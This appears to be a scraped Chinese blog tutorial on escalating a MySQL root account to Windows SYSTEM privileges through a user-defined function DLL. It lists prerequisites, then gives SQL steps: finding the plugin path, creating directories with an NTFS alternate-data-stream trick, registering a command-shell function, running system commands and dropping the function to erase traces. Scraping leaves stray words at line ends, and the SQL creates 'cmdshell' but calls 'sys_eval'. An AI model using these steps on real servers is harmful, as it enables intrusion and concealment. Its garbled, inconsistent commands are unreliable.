0x00 原理
UDF(user-defined function)是MySQL的一個拓展接口,也可稱之爲用戶自定義函數,它是用來拓展MySQL的技術手段,能夠說是數據庫功能的一種擴展。 經過在udf文件中定義新函數,對MYSQL的功能進行擴充,能夠執行系統任意命令,將MYSQL帳號root轉化爲系統system權限。html
0x01 利用條件
-
mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下mysql
-
mysql版本小於5.1, udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。sql
-
掌握mysql數據庫的帳戶,從擁有對mysql的
insert
和delete
權限,以建立和拋棄函數。擁有能夠將udf.dll寫入相應目錄的權限。shell -
能夠將udf.dll寫入到相應目錄的權限。數據庫
0x02 提權關鍵
導出UDF文件到指定路徑windows
0x03 提權步驟
一、獲取數據庫版本、數據位置以及插件位置等信息服務器
select version();//獲取數據庫版本 select user();//獲取數據庫用戶 select @@basedir ;//獲取安裝目錄 show variables like '%plugins%'; //尋找mysql安裝路徑
二、導出UDF文件 關於UDF文件: sqlmap中有現成的udf文件,分爲32位和64位,必定要選擇對版本 關於路徑:網絡
MySQL<5.0,導出路徑隨意; 5.0 <= MySQL<5.1,則須要導出至目標服務器的系統目錄(如:c:/windows/system32/) MySQL 5.1以上版本,必需要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能建立自定義函數。
用NTFS ADS流模式突破進而建立文件夾函數
select @@basedir; //查找到mysql的目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS建立lib目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS建立plugin目錄
三、建立cmdshell 函數url
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
四、執行自定義函數
select sys_eval(‘whoami’);
五、清除痕跡
drop function cmdshell
0x04 參考
https://www.cnblogs.com/R4v3n/articles/8722657.html 《網絡攻防實戰研究——漏洞利用與提權》